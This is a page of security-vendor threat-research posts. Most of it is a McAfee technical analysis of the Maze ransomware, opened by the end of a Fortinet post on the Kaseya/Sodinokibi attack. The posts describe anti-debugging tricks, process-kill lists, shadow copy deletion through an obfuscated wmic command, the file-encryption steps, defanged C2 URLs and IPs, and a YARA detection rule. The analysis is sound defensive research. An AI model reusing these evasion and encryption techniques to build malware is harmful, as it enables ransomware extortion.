It then tries to encrypt as many files as it can, giving encrypted files an extension name similar to the random string in the ransom note file name.
It also uses the Windows Defender executable, MsMpEng.exe, to avoid detection, but it side-loads the malicious library, “mpsvc.dll”, to employ its payload.
The future variant of this ransomware might use a different valid executable, but so far, we have only observed MsMpEng.exe.
There are different variants of this ransomware where the strings, including the ransom note and C&Cs, are encrypted using randomized keys within its code.
But once these strings are decrypted, they are nearly the same with some minor differences, such as the randomized string for the extension name of the encrypted files.
Lastly, it is important to remind individuals and teams tasked with identifying and responding to threats that there are many evasion techniques that threat actors can use to circumvent security controls, and they continue to evolve.
Organizations are advised to likewise evolve their security controls to ensure they can effectively fend off the latest threats.
To that end, it is helpful to keep in mind that even though these threats are becoming increasingly sophisticated, they still tend to be noisy, and a good monitoring solution can go a long way towards interrupting the attack chain.
Fortinet Protections FortiEDR detects and blocks the DLL side-loading event of this ransomware when agent.exe executes MsMpEng.exe (Windows Defender) and loads the mpsvc.dll (malicious library) payload.
In addition, all published IOCs have been added to our Cloud intelligence service and will be blocked if executed on customer systems.
The FortiGuard Responder team has published a Knowledge Base analysis on Kaseya: “ How FortiEDR detects Kaseya supply chain ransomware attack .”
FortiGuard Labs has AV coverage for known publicly available samples as: W32/Sodinokibi.
EAD4!tr.ransom W32/Sodinokibi.8859!tr.ransom W32/Sodinokibi.5421!tr.ransom The FortiGuard AntiVirus service is supported by FortiGate , FortiMail , FortiClient , and FortiEDR .
The Fortinet AntiVirus engine is a part of each of those solutions as well.
As a result, customers who have these products with up-to-date protections are protected.
FortiGuard Labs has IPS coverage in place as: Kaseya.
VSA.Remote.
Code.
Execution All known network IOCs are blocked by the WebFiltering client .
For FortiSandbox , all publicly known ransomware samples are detected by our behavior-based protection.
Additional Content FortiEDR KB Article How FortiEDR detects ransomware attack on Kaseya VSA (fortinet.com)
FortiGuard Threat Signal Threat Signal Report | FortiGuard Fortinet Blog Post New Supply Chain Ransomware Attack Targets Kaseya Platform | FortiGuard Labs (fortinet.com) Appendix A: MITRE ATT&CK Techniques ID Description T1195.002 Supply Chain Compromise: Compromise Software Supply Chain T1059.001 Command and Scripting Interpreter: PowerShell T1059.003 Command and Scripting Interpreter: Windows Command Shell T1569.002 System Services: Service Execution T1574.002 Hijack Execution Flow: DLL Side-Loading T1068 Exploitation for Privilege Escalation T1562.004 Impair Defenses: Disable or Modify System Firewall T1562.001 Impair Defenses: Disable or Modify Tools T1070.004 Indicator Removal on Host: File Deletion T1036.003 Masquerading: Rename System Utilities
T1036.005
Masquerading: Match Legitimate Name or Location T1027.001 Obfuscated Files or Information: Binary Padding T1027.004 Obfuscated Files or Information: Compile After Delivery T1218
Signed Binary Proxy Execution T1553.002 Subvert Trust Controls: Code Signing T1486 Data Encrypted for Impact Appendix B: IOCs File Hashes (SHA256) d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e (ransomware)
E2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2 (mpsvc.dll)
Filenames mpsvc.dll <random string>-readme.txt <random string2>.bmp File Paths Users\\{username}AppData\\Local\\Temp Domains and C&Cs boisehosting[.
]net fotoideaymedia[.
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]com Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio .
Learn more about Fortinet’s free cybersecurity training , an initiative of Fortinet’s Training Advancement Agenda (TAA), or about the Fortinet Network Security Expert program , Security Academy program , and Veterans program .
Learn more about FortiGuard Labs global threat intelligence and research and the FortiGuard Security Subscriptions and Services portfolio.
By Alexandre Mundo on Mar 26, 2020 EXECUTIVE SUMMARY
The Maze ransomware, previously known in the community as “ChaCha ransomware”, was discovered on May the 29th 2019 by Jerome Segura [1] .
The main goal of the ransomware is to crypt all files that it can in an infected system and then demand a ransom to recover the files.
However, the most important characteristic of Maze is the threat that the malware authors give to the victims that, if they do not pay , they will release the information on the Internet [2] .
This threat has not been an idle one as the files of one company were indeed released on the Internet.
Even though the company sued, the damage was already done.
This is a behavior increasingly observed in new ransomware [3] , such as Sodinokibi, Nemty, Clop and others.
It was highlighted last year [4] how ransomware would head in this direction to obtain money from victims who may be reluctant to pay for decryption.
TELEMETRY MAP FIGURE 1.
MAP OF MAZE INFECTIONS INTRODUCTION
On the 29th of October a campaign distributing the Maze malware to Italian users was detected.
Historically, the malware has used different techniques to gain entry, mainly using exploits kits, remote desktop connections with weak passwords or via email impersonation or, as in the Italian case, via different agencies or companies [5] , i.e.
the Italian Revenue Agency.
These emails came with a Word attachment that was using macros to run the malware in the system.
The exploit kits used most often were Fallout and Spelevo [6] .
The malware is hard programmed with some tricks to prevent reversing of it and to make static analysis more difficult.
This report covers these protections and the behavior of the malware in an infected system.
The developers have inserted messages to provoke malware researchers, including the email address of Lawrence Abrams, owner of “BleepingComputer”, who they contacted directly.
They are very active on social media sites such as Twitter.
McAfee protects its customers against the threats that we talk about in this report in all its products, including personal antivirus, endpoint and gateway.
MAZE OVERVIEW
The malware is a binary file of 32 bits, usually packed as an EXE or a DLL file.
This report focuses on the EXE file.
FIGURE 2.
INFORMATION ABOUT THE MALWARE
More information about the sample used in this report appears in this table: TECHNICAL DETAILS Maze is a complex piece of malware that uses some tricks to frustrate analysis right from the beginning.
The malware starts preparing some functions that appear to save memory addresses in global variables to use later in dynamic calls though it does not actually use these functions later.
Whether it is residual code existing in the entry point of the malware or a trick to mislead researchers is up for debate.
FIGURE 3.
SAVE ADDRESS OF FUNCTIONS TO USE LATER IN A DYNAMIC WAY Later, the malware enters in a big block of trash code that also includes some elements to decrypt strings and important information for later.
The malware uses some tricks to detect debuggers at this point.
The most important of those are: A big use of the PEB field “ IsDebuggerPresent ”.
This field is a Boolean field that is filled from Windows with 1 (True) if the application is running inside of a debugger or 0 (False) if it is not.
FIGURE 4.
HIGH USE OF THE “ISDEBUGGERPRESENT” PEB FIELD TO DETERMINE IF THE APPLICATION IS RUNNING IN A DEBUGGER
If the malware detects a debugger it will remain in an infinite loop without making anything while wasting system resources.
FIGURE 5.
MAZE CATCHES THE DEBUGGER AND REMAINS RUNNING, WASTING RESOURCES
The malware gets all processes in the system but ignores the first one (the ‘idle process’ in Windows which is simply a tool to let the user know what percentage of system resources are being used).
Using the name of each process it makes a custom name with a custom algorithm, along with a hash that is checked against a hardcoded list.
If the hash is found in this list the process will be terminated.
FIGURE 6.
CHECK OF HASHES FROM CUSTOM NAME OF THE PROCESSES OF THE SYSTEM For example, the process of the debugger “x32dbg”, is caught at this point: FIGURE 7.
X32DBG PROCESS CAUGHT BY THE MALWARE WITH THE HASH It can terminate IDA debugger, x32dbg, OllyDbg and more processes to avoid dynamic analysis, close databases, office programs and security tools.
A partial list of the processes that can be cracked using a dictionary list terminated by the malware is shown below: dumpcap.exe -> 0x5fb805c5 excel.exe -> 0x48780528 fiddler.exe -> 0x5e0c05b1 msaccess.exe -> 0x6a9c05ff mysqld-nt.exe -> 0x79ec0661 outlook.exe -> 0x615605dc pipanel.exe -> 0x5fb805c4 procexp64.exe -> 0x78020640 procexp.exe -> 0x606805d4 procmon64.exe -> 0x776e0635 procmon.exe -> 0x600005c9 python.exe -> 0x55ee0597 taskkill.exe -> 0x6c2e0614 visio.exe -> 0x49780539 winword.exe -> 0x60d805d5 x32dbg.exe -> 0x5062053b x64dbg.exe ->
0x50dc0542 This short list shows the name of the process to kill and the custom hash from the special name generated from the original process name.
FIGURE 8.
TERMINATEPROCESS FUNCTION TAKEN FROM THE EXPORT ADDRESS TABLE (EAT) OF KERNEL32 AND PASSING THE HASH NAME CHECK
The malware will kill the process with the function “TerminateProcess” that it gets from the EAT (Export Address Table) of the module “kernel32.dll” to increase obfuscation, comparing the name with a custom hash taken from the name in high caps.
FIGURE 9.
CALL TO TERMINATEPROCESS IN A DYNAMIC WAY TO OBFUSCATE THIS CALL The malware calls Windows functions in a unique way to aid obfuscation, i.e.
getting the first process in the system to use the function “Process32FirstW”.
However, instead of calling it directly, it puts the parameters needed for the function on the stack, followed by a memory address with a “push” opcode and then makes a direct jump to the Windows function.
When the function ends, Windows makes a “ret” opcode then gets the last memory address that the malware pushed inside the stack, returning to this address and continuing the flow.
An example of this can be seen in this image: FIGURE 10.
HIGH OBFUSCATION TO TRY TO SLOW ANALYSIS AND MAKE IT MORE DIFFICULT Another ploy utilized by the malware (depending of the sample) is to get the function “DbgUIRemoteBreakin”, using the function “GetProcAddress”, before employing a trick to avoid having a debugger attach to it in runtime [7] .
FIGURE 11.
GET DBGUIREMOTEBREAKIN USING GETPROCADDRESS TO AVOID HAVING A DEBUGGER ATTACK IT
The trick used here is “VirtualProtect” to give the function memory address of “DbgUIRemoteBreakin” permission to write to it: FIGURE 12.
GIVE WRITE PERMISSIONS IN MEMORY After gaining permission, which is granted only for 1 byte, the malware patches this byte with a 0xC3 value (the opcode of “ret”) and restores the previous permissions with “VirtualProtect”, again in the same address and byte, removing the write permission.
FIGURE 13.
PATCH
THE FUNCTION WITH A RET OPCODE AND RESTORE MEMORY PERMISSIONS
This is done to avoid having a debugger attach to it in runtime.
This way, when a debugger attaches to the process internally, the system calls this function but, instead of creating a thread to start the debugging, the “ret” opcode forces the function to return without creating it.
In brief, it prevents a debugger from being attached correctly.
It is done before enumerating the system process.
The malware checks the language of the machine with function “GetUserDefaultUILanguage” and saves the value in the stack; it is not checked automatically after the call, but it is important later.
Maze creates a mutex with the name “Global\\x” where x is a special value that is unique per machine.
For example, in the next screenshot (some information has been deleted to anonymize the machine used for the analysis) is an example of this behavior.
It is done to avoid two or more executions at the same time.
FIGURE 14.
CREATION OF A MUTEX TO AVOID DOUBLE EXECUTION.
UNIQUE PER MACHINE
The malware, after creating the mutex, makes calls to the function “GetLastError” to check against two errors: 0x05 -> ERROR_ACCESS_DENIED.
If the malware gets this error, it means that the mutex already exists in the system but, for some reason, the malware cannot access it (perhaps privileges, policies, etcetera).
0xb7 -> ERROR_ALREADY_EXISTS.
If the malware gets this error, it means that the mutex already exists in the system and can be accessed.
If either of the above occur, the malware remains in execution but does not crypt any files in the system or use any resources of the machine.
It means that it will appear in the program list using 0% of the processor.
The mutex value changes either per sample or on a periodic basis to avoid the possibility of vaccines being made against it.
The malware also has a command to avoid the ‘problem’ of vaccines which will be explained later.
After the mutex, the malware checks the language previously saved in the stack against, for example, language 0x419 (Russian from the Russian Federation, ru-RU [8] ).
The checks are done in an obfuscated way within the jumble of the code that the malware has (in the virtual machine used here the Spanish language of Spain (es-ES) was used; it is the code 0xC0A that appears in the stack in the screenshot): FIGURE 15.
CHECKING THE LANGUAGE AGAINST THE RUSSIAN LANGUAGE FROM THE RUSSIAN FEDERATION If the language matches any of those in the list below, the malware will clean the memory and exit the main thread without wasting any resources or making any files.
0x419 -> ru-RU (Russian from Russian Federation) 0x422 -> uk-UA (Ukranian from Ukraine) 0x423 -> be-BY (Belarusian from Belarus) 0x428 -> tg-Cyrl-TJ (Tajik (Cyrilic from Tajikistan) 0x42B -> hy-AM (Armenian from Armenia)
0x42C -> az-Latn-AZ (Azerbaijani (Latin from Azerbaijan))
0x437 -> ka-GE (Georgian from Georgia)
0x43F -> kk-KZ (Kazakh from Kazakhastan)
0x440 -> ky-KG (Kyrgyz from Kyrgyzstan) 0x442 -> tk-TM (Turkmen from Turkmenistan) 0x443 -> uz-Latn-UZ (Uzbek (Latin from Uzbekistan))
0x444 -> tt-RU (Tatar from Russia Federation) 0x818 -> ro-MD (Romanian from Moldova, NOT Romanian from Romania! )
0x819 -> ru-MD (Russian from Moldova)
0x82C -> az-Cyrl-AZ (Azerbaijani (Cyrilic from Azerbaijan))
0x843 -> uz-Cyrl-UZ (Uzbek (Cyrilic from Uzbekistan))
0x7C1A -> sr (Serbian) 0x6C1A -> sr-Cyrl (Serbian in Cyrilic) 0x1C1A -> sr-Cyrl-BA (Serbian (Cyrilic from Bosnia and Herzegovina))
0x281A -> sr-Cyrl-RS (Serbian (Cyrilic from Serbia))
0x81A -> sr-Latn-CS (Serbian (Latin))
(this language code starts from Windows Vista)
The malware tries to delete the shadow volumes in the system using the “wmic.exe” program with the switches “shadowcopy” and “delete”.
Prior to this, the malware gets the function of “WoW64DisableWow64FsRedirection” with “GetProcAddress” and uses it to avoid redirection by default in 64-bit operating systems and calls it in a dynamic way.
The malware tries to delete the shadow copies two times, once before crypting the files in the infected system and secondly after crypting them.
This execution is done with the function “CreateProcessW” but, to increase the level of obfuscation, the malware is launched with this command: FIGURE 16.
DELETION OF SHADOW COPIES IN THE INFECTED SYSTEM WITH THE WMIC COMMAND As you can see in the image above, the malware uses a command with the name of folders that do not exist by default in Windows, except “Windows”, “system32” and “wbem”.
It enters these folders but then promptly exits them using the command “..”, meaning it returns to the previous folder in the path.
For example, in the beginning it enters the folders “ydw” and “fdygg” but later returns to the root of the Windows installation unit with two “..” commands that lead to “C:\\” in this case.
It later concatenates with the “Windows” folder and continues with the same behavior to finally enter into “system32” where it calls the “wmic.exe” program with the switches to delete the shadow volumes.
This is done to try obfuscating this call, though such suspicious behavior may cause an antivirus program to stop it anyway, but it is proof that the malware coders have skills in programming and a good understanding of Windows behavior.
It is important to understand that this “path” used in the command with non-existent folders is random and does not need to use the same number of folders to make the obfuscation.
After the deletion process, the malware gets the function “Wow64RevertWow64FsRedirection” using the function “GetProcAddress” and calls it in a dynamic way to leave the system in the same state as before.
FIGURE 17.
RECOVER THE FS REDIRECTION IN 64-BIT OPERATING SYSTEMS Maze affects network resources too, using the functions “WNetOpenEnumW”, “WNetEnumResourceW”, “WNetCloseEnum” and “WNetAddConnection2W”.
FIGURE 18.
ENUMERATING THE NETWORK RESOURCES OF THE DISK TO CRYPT FILES INSIDE OF THEM The malware uses two algorithms to crypt the files, ChaCha which is based on the Salsa20 algorithm that is symmetric and, for protection, an RSA algorithm that is asymmetric In each execution the malware creates a Public BLOB of one RSA key that will be used to crypt the part that holds the information to decrypt the files, and one Private BLOB with an RSA key that allows decryption of the information crypted with the public RSA blob created previously.
FIGURE 19.
EXPORT OF THE RSA PUBLIC KEY BLOB GENERATED IN RUNTIME FIGURE 20.
EXPORT OF THE RSA PRIVATE KEY BLOB GENERATED IN RUNTIME Just like other ransomware, this malware has an RSA Public BLOB embedded that will be imported to protect the RSA private BLOB of the victim.
Only the malware developers have the RSA private blob to decrypt their public RSA Blob.
FIGURE 21.
IMPORT OF THE RSA PUBLIC BLOB FOR THE MALWARE DEVELOPERS
This key is protected with a crypto using a key of 32 bits and iv of 8 bytes using the function “CryptGenRandom” to avoid memory dumps but, later, it will need to be decrypted before use.
After this, the malware starts the procedure of crypting the files, searching in units, before importing the RSA public BLOB key generated in runtime.
After this, it creates the ransom note prepared for this infected machine in the root folder and then starts looking for folders and files to crypt.
FIGURE 22.
CREATION OF RANSOM NOTE IN ROOT FOLDER AND LOOKING FOR FOLDERS AND FILES
An example ransom note, with some data anonymized, is shown below: FIGURE 23.
EXAMPLE OF A MAZE RANSOM NOTE
The procedure to crypt the files is easy, with the malware taking the following steps: Check the existence of the file with the function “SetFileAttributesW” with the attribute “FILE_ATTRIBUTE_ARCHIVE”.
Reserve memory to the file with a call to “Virtual Alloc” for the key and iv.
Open the file with read and write permissions with the function “CreateFileW” with the flag “OPEN_EXISTING”.
Get the file size with the function “GetFileSizeEx” (it is important for managing big files, “GetFileSize” is not good for bigger files).
Create a file mapping with the functions “CreateFileMappingW” and “MapViewOfFile” Generate a random key of 32 bytes with the function “CryptGenRandom”.
Generate a random iv of 8 bytes with the function “CryptGenRandom”.
Reserve 264 bytes of memory with the function “VirtualAlloc”.
Generate a new random extension for the victim file.
Each file has a different extension but does not lose the original extension; the new one is appended to the old one.
For example, “1.zip” becomes “1.zip.gthf”.
Crypt the file with the ChaCha algorithm and the key and iv with the RSA public key generated in runtime.
Write this new block with the key and iv to decrypt at the end of the file.
Rename the file with the function “MoveFileExW”.
That way it is not possible to use forensic tools to recover the files because they use the same sector on the raw disk.
The malware does not delete the file using the function “DeleteFileW” and later create a new one with the crypted data.
Instead, all changes are applied in the mapping directly, in memory, without using a file pointer on the disk to read and write, which makes the process much quicker.
The image of the file is unmapped, and handles closed.
The process is repeated with new files.
The list of folders that the malware avoids are: Windows main directory.
Games Tor Browser ProgramData cache2\\entries Low\\Content.
IE5 User Data\\Default\\Cache All Users Local Settings AppData\\Local Program Files
The malware ignores these file extensions: LNK EXE SYS DLL
The malware also has a list of filenames that will not be crypted: inf ini ini dat db bak dat.log db bin DECRYPT-FILES.txt
However, it does crypt the file “ntuser.ini” to prevent other ransomwares from crypting it.
It creates the ransom note in each folder that it can.
When the malware finishes crypting all files it changes the desktop wallpaper to this image: FIGURE 24.
THE MALWARE CHANGES
THE DESKTOP WALLPAPER AFTER CRYPTING
THE FILES
The malware tries to make connections to IP addresses that have been crypted in the binary to send information about the infected machine, as seen below: hxxp://91.218.114.4/nwjknpeevx.action?pw=g1y652l&kyn=21y3vvhh&dvr=5e&us=g25e3582a hxxp://91.218.114.11/forum/siaib.jspx?v=h&xyna=0vip863&eul=xsn3q0 hxxp://91.218.114.26/view/ticket/pigut.jspx?o=664quo0s&fp=ot52 hxxp://91.218.114.25/xrr.jspx?ygad=r35e2cx&e=6as6ta hxxp://91.218.114.4/j.php hxxp://91.218.114.11/payout/view/fa.aspx?y=y&qbx=4&kws=n2&iuy=8k7 hxxp://91.218.114.25/lxh.asp?mtxm=l7&r=836wy5 hxxp://91.218.114.26/signin/ticket/eq.action?x=yk6rr&e=50b&q=327dr5&ofk=065cdp hxxp://91.218.114.31/signin/rnmnnekca.jsp?kdn=6snl5&e=7a50cx4hyp hxxp://91.218.114.31/forum/a.aspx?byx=56&bc=62t0h&u=75w6n6&sot=2v0l761or6 hxxp://91.218.114.32/withdrawal/checkout/l.do?nuny=qj6&sdv=45g2boyf5q&dnr=rh8lk31ed
hxxp://91.218.114.77/task/bxfbpx.jspx?nq=cge63 hxxp://91.218.114.38/account/payout/ujwkjhoui.shtml hxxp://91.218.114.37/imrhhjitop.phtml?wto=344dsc84&sp=x&oml=c173s71u&iy=m3u2 hxxp://91.218.114.38/auth/login hxxp://91.218.114.79/logout/hfwdmugdi.php?upaj=mj7g hxxp://91.218.114.38/sepa/juel.php?ars=51qse4p3y&xjaq=r5o4t4dp hxxp://91.218.114.32/fwno.cgi?yd=410&o=y7x5kx371&p=m3361672 hxxp://91.218.114.37/sepa/signout/mjsnm.aspx?r=7o47wri&rtew=uu8764ssy&bri=51gxx6k5&opms=72gy0a hxxp://91.218.114.77/payout/analytics/lrkaaosp.do?y=62h&aq=3jq8k6&v=0svt hxxp://91.218.114.79/create/dpcwk.php?u=28qy0dpmt&qwbh=k&f=g1ub5ei&ek=3ee It is important to take into consideration that the malware forges the POST string to make the connection with a random choice from a list of possible strings such as “forum”, “php”, “view”, etc., to make detection harder with IPS or other filters on the network.
The IP addresses are detected as from the Russian Federation but that does not prove that the malware came from this country; it could be deliberate misdirection but, with the language checks of CIS countries, it certainly appears possible.
The use of IP addresses instead of domain names is to avoid DNS resolutions that can be altered or redirected to a loopback, for example using the “host” file in Windows.
This makes the trace of IPs more complicated and avoids having the connection blocked.
The malware uses this agent to make the connection, but it can change between samples: FIGURE 25.
AGENT USED TO MAKE CONNECTIONS TO THE C2C IP ADDRESSES From a memory dump we can extract the IPs used by these connections, as well as a curious string that talks about Lawrence Abrams, the admin of the web site “bleepingcomputer” who was contacted directly by the developers.
It is not known why they included this email address because it has no relation to the ransom note and is not used anywhere else.
Perhaps it is a means of mocking the administrator of a site that frequently reports on ransomware?
FIGURE 26.
C2C IP ADDRESSES EXTRACTED FROM THE MEMORY The connections to the C2C IP addresses, in a pcap using Wireshark, can be seen perfectly: FIGURE 27.
CONNECTION IN PCAP WITH THE C2C IP ADDRESSES Maze has some strings in memory that are interesting and something that may be worth further analysis in the future: FIGURE 28.
CURIOUS STRING FOR
FUTURE INVESTIGATION
The webpage for making the payment requested in the ransom note gives a price and verifies that all is correct.
FIGURE 29.
MAZE PAYMENT WEBPAGE AFTER DECRYPTING THE RANSOM NOTE Maze has a chat function to contact the operators and receive information about how to obtain the cryptocurrency required to make payment.
Of course, as with many types of ransomware, there is an offer to decrypt three images for free and that service has been verified as working: FIGURE 30.
FREE DECRYPTION WORKS
SO
THE MALWARE SAMPLE IS CORRECT SWITCHES
The malware has some switches that can be used in the command line to launch.
These switches can either disable some elements or enable logging.
The switches are: –nomutex ->
This switch prevents checking the mutex so that it can run more than one instance on the same machine.
It can also be used to avoid vaccines that are made before the malware creates the mutex name in the machine.
–noshares ->
With this switch the malware will not crypt network shares, only the local machine.
–path x ->
Where x is a full path.
In this case the malware will crypt all files in all folders starting from this path unless they are blacklisted names, extensions or folder names.
This is useful for the malware developers to attack a special path instead of losing time going after a full machine and it makes the attack more targeted.
–logging ->
If this switch is enabled the malware will log all the steps it makes.
Useful to the malware developers in debug environments, or in the attack phase to know that all was ok, step by step.
Here is a small example of this information: FIGURE 31.
EXAMPLE OF THE INFORMATION THAT THE MALWARE CAN GIVE WITH THE LOG SWITCH OTHER SAMPLES
In January 2020 a new version of the malware appeared with a special text dedicated to some researchers in the security field.
The malware developers appear to have chosen those individuals to be provocative and make fun of them.
The sample was discovered by malwrhunterteam [9] on the 28th of January 2020.
The sample has some differences when compared with the previous one that was analyzed in this report.
Those differences will be covered later via another sample that was found by Luca Nagy [10] on the 30th of January 2020.
The most important thing here is that the developers appear to have carefully selected the researchers and waited for them to answer as a psychological trick, and it worked, because all of them replied, trolling the malware developers over the version of their malware detected on the 28th.
Here is one response from a malware developer to this trolling that contains some interesting facts: FIGURE 32.
RESPONSE FROM A MALWARE DEVELOPER It is not known if one person is behind the malware or not.
It is curious that they said “I” instead of “we” twice in their answer.
So, perhaps it was written by one person for trolling purposes, or perhaps the developer of the malware really is only one person (or they want researchers to think that is the case).
Another important fact in the note is the talk about the tools used by one of the researchers for regular malware analysis.
Why are they mentioning regular malware analysis?
Is it because they are reversing malware themselves for fun or could it be their day job?
Could it be that perhaps the developer is a researcher (because of the way that they talk with others and provoke them)?
Secondly, malware analysis is mentioned more than once and, thirdly, they said that they made an IDAPython script to remove all obfuscated code that the malware has (the ransomware may have got the name ‘Maze’ because of how analysis of it is like walking through a labyrinth).
So, it may be either a researcher who knows IDAPro very well or is an advanced developer (and the obfuscated code in Maze is very well done) or perhaps it is a developer that has another job in normal life besides the creation of malware?
Of course, these are just possibilities, not facts.
The malware developer achieved their goal with this interaction as their target audience saw the answer and talked about their malware, as noted in the final line of their response “ …but you need to know that we love you researchers without you our job also would be fuc
*
*** boring as hell”.
It is curious that here they said “we” instead of “I” as before but perhaps they were talking about all malware development?
The differences that these samples have are: Usually comes as a DLL instead of an EXE file.
It does not run on Windows operating systems older than Vista as this makes analysis harder.
By using the malware as a DLL, they can inject this module into a target process more easily than if they use an EXE sample of the malware.
Instead of deleting the “Shadow Volumes” the developers instead use WMIC with the special trick of the path as mentioned earlier, using WMIC classes to control the Shadow Volumes.
An example of this use can be seen in the next image.
FIGURE 33.
USING WMIC CLASSES IF NEEDED TO GET THE SHADOW VOLUMES
Each sample of the malware uses different strings as PDB to send messages or to make the sample unique, for example: C:\\somerandomsh**\\sh**\\obama.pdb C:\\kill\\yourself\\<nickname>\\chinese\\idio*.pdb (In these examples some things were removed or changed to remove sensitive information in the report).
The new samples discovered in January 2020 make these connections to the C2 (or try to make them): FIGURE 34.
CONNECTIONS TO C2 IP OF THE NEW SAMPLES As we can see, they are the same IPs as seen in the previous versions of the malware.
The samples’ compile dates are from the 24th of January 2020 (the first version with the strings that provoked the researchers) to the 28th of January 2020 (the version with the answers to the researchers), meaning they were made on the same day the responses to the previous version were published on Twitter.
Another interesting fact from the later sample is that, besides it saying that the language code used to program it was Korean, the IPs where it connects belong to the Russian Federation as before, as can be seen in the next two images.
FIGURE 35.
LANGUAGE CODE “USED” IN THE PACKER SAMPLE, NOT THE MALWARE FIGURE 36.
ALL C2 DOMAINS BELONG TO THE RUSSIAN FEDERATION
It is impossible to know the truth, but this could be a trick to try misleading researchers into thinking that the malware comes from some country when in truth it originates in another.
It is known that malware developers often check the language on potential victim’s machines to avoid the CIS countries, so we can guess that the check for the “Korean” language was a trick designed to mislead, but it is impossible to know that for sure.
Of course, the “Korean” language can be changed manually, or it could be a Korean packer, but it is impossible to say with certainty.
CONCLUSION Maze is a ransomware created by skilled developers.
It uses a lot of tricks to make analysis very complex by disabling disassemblers and using pseudocode plugins.
It poses a big problem to individuals and enterprises that do not pay as the developers threaten to release the information if they do not receive payment and they do indeed keep their word on that.
More and more ransomwares are exhibiting the same behavior and we expect to see more of it this year and perhaps further into the future too.
The malware developers are active on social media sites, such as Twitter, and they are familiar with the work of malware researchers.
They also know how to provoke them perfectly and they like to play cat and the mouse with them.
We recommend making periodic backups of files and keeping them isolated off the network and having an always updated antivirus in place.
The latest software patch should also be applied.
Remote Desktop Connections that are not needed should be avoided.
Avoid suspicious emails and do not open attachments that come from anyone that you do not know.
The same goes for links in emails and, even if they come from a known source, check with the sender if you have any doubts.
Also, disable macros in Office programs and never enable them unless it is essential to do so.
COVERAGE McAfee protects against this threat in all its products, including personal antivirus, endpoint and gateway.
The names that it can have are: Ransom-Maze!<hash>
YARA RULE rule maze_unpacked { meta: description =
“Rule to detect unpacked Maze samples” author =
“Marc Rivero | McAfee ATR Team” strings: $opcode_sequence = { 5589e583ec208b450c8b4d08c745fc00 } $opcode_sequence_2 = { 5589e553575683e4f883ec28c7042400 } $opcode_sequence_3 = { 5589e55dc3662e0f1f84000000000090 } $opcode_sequence_4 = { 5589e553575683e4f081ec600200008b } $opcode_sequence_5 = { 5589e553575683e4f081ecc00000000f } $opcode_sequence_6 = { 5589e583ec208b45108b4d0c8b550883 } $opcode_sequence_7 = { 5589e5575683ec388b45108b4d0c8b55 } $opcode_sequence_8 = { 5589e5575683e4f883ec088b45088b48 } $opcode_sequence_9 = { 558b6c241468997a41000f84bdc50000 } $opcode_sequence_10 = { 5589e553575683e4f883ec588b5d088b } $opcode_sequence_11 = { 5589e553575683e4f083ec408a42048b } $opcode_sequence_12 = { 5589e583ec188b4508837d08008945fc } $opcode_sequence_13 = { 5589e553575683e4f8b8d05b0000687f } $opcode_sequence_14 = { 5589e5508b450831c98945fc89c883c4 } $opcode_sequence_15 = { 5589e553575683e4f883ec708b5d0889 } $opcode_sequence_16 = { 5589e583ec308b45088b4d08894df883 } $opcode_sequence_17 = { 5589e553575683e4f881ec18030000f2 } $opcode_sequence_18 = { 5589e583ec188b45088b4d08894df48b } $opcode_sequence_19 = { 5589e583ec2056be74c14400566a0068 } $opcode_sequence_20 = { 5589e553575683e4f081ec900000008b } $opcode_sequence_21 = { 5589e583e4f083ec208b4d108b450c0f } $opcode_sequence_22 = { 5589e55383e4f883ec108b4d0c8b4508 } $opcode_sequence_23 = { 558b8e150409133f03fd08f81b0c4f22 } $opcode_sequence_24 = { 5589e553575683e4f883ec7031f68379 } $opcode_sequence_25 = { 5589e553575683e4f881ec3001000089 } $opcode_sequence_26 = { 5589e553575683e4f881ece00000000f } $opcode_sequence_27 = { 558b589608361d1943a57d0ba6492beb } $opcode_sequence_28 = { 5589e553575683e4f883ec1089ce6a00 } $opcode_sequence_29 = { 5589e5575683e4f883ec688b75088b7d } $opcode_sequence_30 = { 5589e553575683e4f883ec386a006a00 } $opcode_sequence_31 = { 558b7c240868dca8440057683d484300 } $opcode_sequence_32 = { 5589e55683e4f881ec2801000089ce8d } $opcode_sequence_33 = { 5589e583ec188b450831c98b5508c704 } $opcode_sequence_34 = { 5589e583ec308b450c8b4d088b55088b } $opcode_sequence_35 = { 5589e583ec348b450831c983c1188b55 } $opcode_sequence_36 = { 5589e553575683e4f881ec78040000f2 } $opcode_sequence_37 = { 5589e583ec108b4508837d08008945f8 } $opcode_sequence_38 = { 5589e583ec348b4508837d08008945dc } $opcode_sequence_39 = { 5589e55683ec548b45088b4d08894df0 } $opcode_sequence_40 = { 558bec5de9a48efeffe9ef8efeffcccc } $opcode_sequence_41 = { 5589e553575683ec108b45108b4d0c8b } $opcode_sequence_42 = { 5589e5575683ec348b4508c745f40100 } $opcode_sequence_43 = { 558bec8325a0c345000083ec1c5333db } $opcode_sequence_44 = { 5589e553575683e4f083ec208b750c0f } $opcode_sequence_45 = { 5589e583ec348b450c8b4d088b55088b } $opcode_sequence_46 = { 558b6fd8d843ef516154e2526781aecd } condition: ( uint16(0) == 0x5a4d) and 38 of them } IOCs Network Domain          mazedecrypt.top IP                     91.218.114.11 IP                     91.218.114.25 IP                     91.218.114.26
IP
91.218.114.31 IP                     91.218.114.32
IP                     91.218.114.37 IP                     91.218.114.38 IP                     91.218.114.4 IP                     91.218.114.77 IP                     91.218.114.79 MITRE ATT&CK COVERAGE CommonlyUsedPort StandardApplicationLayerProtocol SecuritySoftwareDiscovery SystemTimeDiscovery CommandLineInterface DataEncrypted DataEncryptedForImpact Query registry Hooking [1] https://twitter.com/jeromesegura/status/1133767240686288896 [2] https://www.bleepingcomputer.com/news/security/maze-ransomware-demands-6-million-ransom-from-southwire/ [3] https://www.bleepingcomputer.com/news/security/nemty-ransomware-to-start-leaking-non-paying-victims-data/ [4] https://twitter.com/McAfee_Labs/status/1206651980086685696 [5] https://www.bleepingcomputer.com/news/security/new-threat-actor-impersonates-govt-agencies-to-deliver-malware/ [6] https://securityintelligence.com/news/spelevo-ek-exploits-flash-player-vulnerability-to-deliver-maze-ransomware/ [7] https://github.com/revsic/AntiDebugging [8] https://ss64.com/locale.html [9] https://twitter.com/malwrhunterteam/status/1222253947332841472 [10] https://twitter.com/luca_nagy_/status/1222819371644522500
By McAfee on Jan 04, 2018 The McAfee Advanced Threat Research (ATR) Team has closely followed the attack techniques that have been named Meltdown and Spectre throughout the lead-up to their announcement on January 3.
